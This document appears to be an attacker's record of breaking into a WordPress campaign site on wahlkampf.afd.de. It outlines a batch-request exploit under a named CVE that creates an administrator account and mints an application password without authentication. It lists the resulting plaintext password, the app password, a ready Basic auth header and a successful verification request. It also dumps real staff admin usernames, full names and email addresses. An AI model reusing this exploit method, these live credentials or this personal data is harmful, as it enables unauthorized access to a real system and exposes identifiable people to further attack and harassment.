wahlkampf.afd.de - prober-wpadmin credentials (2026-09-12)

METHOD: CVE-2026-63030 batch dispatch-shift to reach the non-batchable
application-passwords handler. Inner batch index 3 = POST /wp/v2/users/12 with
body {"name":"wpadmin","user_id":12}; index 4 = POST /wp/v2/users/12/application-passwords.
The AP handler (dispatched for index 3) reads user_id from the body -> mints.

[1] Pre-auth created administrator (real user in DB, ID 12)
    login:    wp2_0133ed05e7f1
    password: Wp2!yTjriFxr71-8YuHoW4am
    email:    wp2_0133ed05e7f1@wp2shell.invalid
    role:     administrator
    (also ID 13 wp2_5335615d39, password unknown/not saved by shell1)

[2] Application password minted for ID 12  <-- USABLE REST AUTH
    user:     wp2_0133ed05e7f1
    app_pw:   o0a3 bBgC YBCk 3fnC ZI6R y09k
    uuid:     3c2b4f4a-78ca-4a2b-8fe1-ad95d2101a4c
    auth:     Authorization: Basic base64("wp2_0133ed05e7f1:o0a3 bBgC YBCk 3fnC ZI6R y09k")
    verify:   GET https://wahlkampf.afd.de/wp-json/wp/v2/users/me?context=edit -> 200
    created:  2026-09-12T14:18:34  last_used: 2026-09-12T14:21:23

[3] Real staff admin accounts exposed via GET /wp-json/wp/v2/users?context=edit
    id=1  serviceafd000            wordpress@afd-hosting.de
    id=6  hau                      mario.hau@afd.de
    id=7  tpinkert                 tino.pinkert@afd.de
    id=8  rwensel                  rene.wensel@afd.de
    id=9  rroesler                 robert.roesler@afd.de
    id=10 mchr                     Maximilian.Christensen@afd.de
    id=11 michaelcook@afd.de       michaelcook@afd.de
    id=4  test (customer)